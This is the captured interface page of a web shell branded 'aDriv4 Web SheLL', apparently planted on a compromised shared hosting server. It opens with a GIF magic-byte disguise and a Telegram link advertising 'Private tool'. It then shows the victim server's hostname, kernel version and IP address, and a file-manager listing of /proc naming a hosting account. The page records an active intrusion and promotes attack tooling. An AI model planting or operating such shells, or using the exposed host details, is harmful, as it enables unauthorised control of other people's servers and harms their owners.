GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium73.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 68.65.122.244
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-18 09:54:31
.. dir - root/root 0755 2025-08-05 06:44:54
1168338 dir - carpkozk/carpkozk 0555 2025-10-18 01:16:39
1183916 dir - carpkozk/carpkozk 0555 2025-10-18 01:18:06
657711 dir - carpkozk/carpkozk 0555 2025-10-18 01:15:17
acpi dir - root/root 0555 2025-06-18 09:54:34
bus dir - root/root 0555 2025-06-18 09:54:43
driver dir - root/root 0555 2025-10-18 01:16:48
fs dir - root/root 0555 2025-06-18 09:54:43
irq dir - root/root 0555 2025-06-18 09:54:43
kcare dir - root/root 0555 2025-10-18 01:15:33
lve dir - root/root 0555 2025-10-18 01:15:31
net link - carpkozk/carpkozk 0555 2025-10-18 01:19:21
scsi dir - root/root 0555 2025-06-18 09:54:43
self link - carpkozk/carpkozk 0555 2025-10-18 01:18:06
sys dir - root/root 0555 2025-06-18 09:54:32
sysvipc dir - root/root 0555 2025-10-18 01:16:48
thread-self link - carpkozk/carpkozk 0555 2025-10-18 01:18:07
tty dir - root/root 0555 2025-10-18 01:16:48
buddyinfo 0 B root/root 0444 2025-10-18 01:16:48
cgroups 0 B root/root 0444 2025-10-18 01:16:48
cmdline text/plain 0 B root/root 0444 2025-10-18 01:15:22
consoles 0 B root/root 0444 2025-10-18 01:16:48
cpuinfo text/plain 0 B root/root 0444 2025-10-18 01:15:31
crypto 0 B root/root 0444 2025-10-18 01:16:48
devices 0 B root/root 0444 2025-10-18 01:16:48
diskstats 0 B root/root 0444 2025-10-18 01:15:28
dma 0 B root/root 0444 2025-10-18 01:16:48
execdomains 0 B root/root 0444 2025-10-18 01:16:48
fb 0 B root/root 0444 2025-10-18 01:16:48
filesystems text/plain 0 B root/root 0444 2025-10-18 01:15:17
interrupts 0 B root/root 0444 2025-10-18 01:16:48
iomem 0 B root/root 0444 2025-10-18 01:16:48
ioports 0 B root/root 0444 2025-10-18 01:16:48
kallsyms 0 B root/root 0444 2025-06-18 09:54:43
kcore 128 TB root/root 0400 2025-06-18 09:54:34
key-users 0 B root/root 0444 2025-10-18 01:16:48
keys 0 B root/root 0444 2025-10-18 01:16:48
kmsg 0 B root/root 0400 2025-10-18 01:16:48
kpagecgroup 0 B root/root 0400 2025-10-18 01:16:48
kpagecount 0 B root/root 0400 2025-10-18 01:16:48
kpageflags 0 B root/root 0400 2025-10-18 01:16:48
loadavg text/plain 0 B root/root 0444 2025-10-18 01:15:25
locks 0 B root/root 0444 2025-10-18 01:16:48
mdstat 0 B root/root 0444 2025-10-18 01:16:48
meminfo text/plain 0 B root/root 0444 2025-10-18 01:15:16
misc 0 B root/root 0444 2025-10-18 01:16:48
modules 0 B root/root 0444 2025-10-18 01:15:33
mounts text/plain 0 B carpkozk/carpkozk 0444 2025-10-18 01:19:21
mtrr 0 B root/root 0644 2025-06-18 09:54:43
pagetypeinfo 0 B root/root 0400 2025-10-18 01:16:48
partitions 0 B root/root 0444 2025-10-18 01:16:48
sched_debug 0 B root/root 0444 2025-10-18 01:16:48
schedstat 0 B root/root 0444 2025-10-18 01:16:48
slabinfo 0 B root/root 0400 2025-10-18 01:16:48
softirqs 0 B root/root 0444 2025-10-18 01:16:48
stat text/plain 0 B root/root 0444 2025-10-18 01:15:16
swaps 0 B root/root 0444 2025-06-18 09:54:32
sysrq-trigger 0 B root/root 0200 2025-06-18 09:54:43
timer_list 0 B root/root 0400 2025-10-18 01:16:48
uptime text/plain 0 B root/root 0444 2025-10-18 01:15:16
version text/plain 0 B root/root 0444 2025-10-18 01:15:33
vmallocinfo 0 B root/root 0400 2025-10-18 01:16:48
vmstat 0 B root/root 0444 2025-10-18 01:15:28
zoneinfo 0 B root/root 0444 2025-10-18 01:16:48
© aDriv4